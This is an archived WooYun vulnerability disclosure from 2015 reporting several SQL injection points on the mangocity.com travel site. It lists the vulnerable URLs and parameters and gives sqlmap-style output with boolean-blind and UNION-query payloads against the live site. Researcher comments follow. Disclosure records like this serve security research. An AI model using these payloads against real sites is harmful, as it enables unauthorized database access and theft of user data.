芒果网主站多处SQL注入(涉及用户信息)

发表于 2015年06月29日
WooYun漏洞库

漏洞概要

缺陷编号：WooYun-2015-0123486

漏洞标题：芒果网主站多处SQL注入(涉及用户信息)

漏洞详情

披露状态：

2015-06-29: 细节已通知厂商并且等待厂商处理中
2015-06-29: 厂商已查看当前漏洞内容,细节仅向厂商公开
2015-07-04: 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

测试系统？

详细说明：

1、

http://www.mangocity.com/product/10506752p2.html?type=90&c=cholidayindexcontroller&m=comindex&d=grouptravel

1	http://www.mangocity.com/product/10506752p2.html?type=90&c=cholidayindexcontroller&m=comindex&d=grouptravel

Parameter: type (GET)<br>
    Type: boolean-based blind<br>
    Title: AND boolean-based blind - WHERE or HAVING clause<br>
    Payload: type=90 AND 1217=1217&c=cholidayindexcontroller&m=comindex&d=grouptravelType: UNION query<br>
    Title: MySQL UNION query (60) - 9 columns<br>
    Payload: type=-3025 UNION ALL SELECT 60,60,60,CONCAT(0x716b626a71,0x77445276794465757461,0x716a627871),60,60,60,60,60#&c=cholidayindexcontroller&m=comindex&d=grouptravel<br>
---<br>
web application technology: PHP 5.3.28<br>
back-end DBMS: MySQL >= 5.0.0

Parameter: type (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: type=90 AND 1217=1217&c=cholidayindexcontroller&m=comindex&d=grouptravelType: UNION query

Title: MySQL UNION query (60) - 9 columns

Payload: type=-3025 UNION ALL SELECT 60,60,60,CONCAT(0x716b626a71,0x77445276794465757461,0x716a627871),60,60,60,60,60#&c=cholidayindexcontroller&m=comindex&d=grouptravel

---

web application technology: PHP 5.3.28

back-end DBMS: MySQL >= 5.0.0

2、

3、

http://www1.mangocity.com/alliance/9953/600003/index.php?thirdpartid=100003295p2&c=productinfo_controller&m=index&d=freeline

1	http://www1.mangocity.com/alliance/9953/600003/index.php?thirdpartid=100003295p2&c=productinfo_controller&m=index&d=freeline

参数thirdpartid

http://www.mangocity.com/index.php?fp=304%3A1&c=destination_controller&d=grouptravel&keyword=%E6%B5%99%E6%B1%9F&m=index&type=1

1	http://www.mangocity.com/index.php?fp=304%3A1&c=destination_controller&d=grouptravel&keyword=%E6%B5%99%E6%B1%9F&m=index&type=1

参数fp

漏洞证明：

修复方案：

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-07-0416:40

厂商回复：

评价

2010-01-01 00:00 牛小帅白帽子 | Rank:407 漏洞数:34)

哥为嘛中午和现在的都上首页啦怎么我的是小厂商不都是注入吗
2010-01-01 00:00 Me_Fortune 白帽子 | Rank:144 漏洞数:18)

@牛小帅大概是人家懂得低调吧
2010-01-01 00:00 牛小帅白帽子 | Rank:407 漏洞数:34)

@Me_Fortune 表示好委屈我小菜鸟容易嘛
2010-01-01 00:00 Me_Fortune 白帽子 | Rank:144 漏洞数:18)

卧槽怎么忽略了，[email protected]
2010-01-01 00:00 墨迹白帽子 | Rank:0 漏洞数:0)

@牛小帅上首页真的很重要吗

原文连接：芒果网主站多处SQL注入(涉及用户信息) 所有媒体，可在保留署名、原文连接的情况下转载，若非则不得使用我方内容。